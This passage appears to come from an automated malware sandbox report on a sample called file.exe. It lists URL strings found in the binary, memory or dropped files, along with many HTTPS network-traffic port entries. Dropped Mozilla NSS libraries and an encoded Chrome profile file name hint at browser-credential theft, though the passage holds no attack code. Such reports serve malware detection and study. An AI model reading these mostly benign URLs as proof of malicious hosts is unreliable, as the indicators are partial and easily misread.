Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: FHIDAFHCBAKFCAAKFCFCFIIJKF.0.dr	String found in binary or memory: https://support.mozilla.org
Source: FHIDAFHCBAKFCAAKFCFCFIIJKF.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: FHIDAFHCBAKFCAAKFCFCFIIJKF.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: chromecache_467.4.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2620913468.0000000023671000.00000004.00000020.00020000.00000000.sdmp, BAEBGHCFCAAFIECAFIII.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2620913468.0000000023671000.00000004.00000020.00020000.00000000.sdmp, BAEBGHCFCAAFIECAFIII.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: JEHIJDGI.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2355944655.000000002361C000.00000004.00000020.00020000.00000000.sdmp, JKEGHDGH.0.dr, JEHIJDGI.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 683397ae-f96e-45a1-83bf-01d2135a9e3a.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_467.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_467.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_465.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_465.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_465.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: FHIDAFHCBAKFCAAKFCFCFIIJKF.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2587375541.0000000000987000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.2587375541.0000000000987000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/GCAKJKECGCFI
Source: file.exe, 00000000.00000002.2587375541.0000000000987000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/dHh0
Source: FHIDAFHCBAKFCAAKFCFCFIIJKF.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2587375541.0000000000987000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2587375541.0000000000987000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0
Source: FHIDAFHCBAKFCAAKFCFCFIIJKF.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2587375541.0000000000987000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2478042866.00000000238E8000.00000004.00000020.00020000.00000000.sdmp, FHIDAFHCBAKFCAAKFCFCFIIJKF.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: FHIDAFHCBAKFCAAKFCFCFIIJKF.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2478042866.00000000238E8000.00000004.00000020.00020000.00000000.sdmp, FHIDAFHCBAKFCAAKFCFCFIIJKF.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2587375541.0000000000987000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000002.2587375541.0000000000987000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/eads:
Source: file.exe, 00000000.00000003.2478042866.00000000238E8000.00000004.00000020.00020000.00000000.sdmp, FHIDAFHCBAKFCAAKFCFCFIIJKF.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2587375541.0000000000987000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://www.tiktok.com/
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
